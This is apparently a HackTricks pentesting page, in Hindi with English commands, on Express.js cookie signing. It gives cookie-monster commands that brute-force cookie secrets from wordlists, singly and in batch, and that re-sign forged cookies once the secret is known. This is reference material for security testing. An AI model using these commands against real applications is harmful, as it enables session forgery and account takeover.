NodeJS Express

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

कुकी हस्ताक्षर

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

एक विशिष्ट नाम के साथ एकल कुकी

bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

कस्टम वर्डलिस्ट

bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

बैच मोड का उपयोग करके कई कुकीज़ का परीक्षण करें

bash
cookie-monster -b -f cookies.json

एक कस्टम वर्डलिस्ट के साथ बैच मोड का उपयोग करके कई कुकीज़ का परीक्षण करें

bash
cookie-monster -b -f cookies.json -w custom.lst

यदि आप रहस्य जानते हैं, तो आप कुकी पर हस्ताक्षर कर सकते हैं।

bash
cookie-monster -e -f new_cookie.json -k secret

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें